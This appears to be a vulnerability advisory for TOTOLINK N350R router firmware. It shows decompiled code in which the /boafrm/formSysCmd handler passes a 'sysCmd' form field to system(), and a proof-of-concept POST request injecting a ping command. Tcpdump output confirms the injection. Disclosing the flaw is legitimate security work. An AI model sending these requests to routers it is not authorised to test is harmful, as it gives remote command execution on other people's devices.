N350R_formSysCmd

A vulnerability exists in TOTOLINK_N350R_v2-IP04226A-8196C-SPI-2M16M-V1.2.3-B20130826 that allows a remote attacker to execute arbitrary code through the /boafrm/formSysCmd component.

```
int __fastcall formSysCmd(int a1)
{
  int cstream_var; // $s1
  const char *v3; // $a3
  const char *v4; // $a2
  _BYTE v6[104]; // [sp+20h] [-68h] BYREF

  cstream_var = req_get_cstream_var(a1, "submit-url", &dword_46FA70);
  v3 = (const char *)req_get_cstream_var(a1, "sysCmd", &dword_46FA70);
  v4 = "%s 2>&1 > %s";
  if ( *v3 )
  {
    snprintf(v6, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
    system(v6);
  }
  return send_redirect_perm(a1, cstream_var, v4, v3);
}
```

Request

Pretty Raw Hex

```
1 POST /boafrm/formSysCmd HTTP/1.1
2 Host: 192.168.0.1
3 Content-Type: application/x-www-form-urlencoded
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
5 Accept: */*
6 Connection: close
7 Content-Length: 29
8
9 sysCmd=ping -c 1 192.168.0.70
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.0 302 Redirect
2 Date: Wed, 27 Nov 2013 15:38:02 GMT
3 Server: Boa/0.94.14rc21
4 Accept-Ranges: bytes
5 Connection: close
6 Content-Type: text/html; charset=utf-8
7 Location: http://192.168.0.1/
8
9 <HTML>
    <HEAD>
    </HEAD>
10  <BODY>
11    <H1>
        302 Redirect
      </H1>
      The document has moved
12    <A HREF="http://192.168.0.1/">
        here
      </A>
      .
13  </BODY>
  </HTML>
14
```

```
[redacted]~/Desktop$ sudo tcpdump -i ens33 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
16:01:35.958146 IP 192.168.0.1 > [redacted]: ICMP echo request, id 18102, seq 0, length 64
16:01:35.958196 IP [redacted] > 192.168.0.1: ICMP echo reply, id 18102, seq 0, length 64
```

```
1  POST /boafrm/formSysCmd HTTP/1.1
2  Host: 192.168.0.1
3  Content-Type: application/x-www-form-urlencoded
4  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
   (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
5  Accept: */*
```

```
Connection: close
Content-Length: 29

sysCmd=ping -c 1 192.168.0.60
```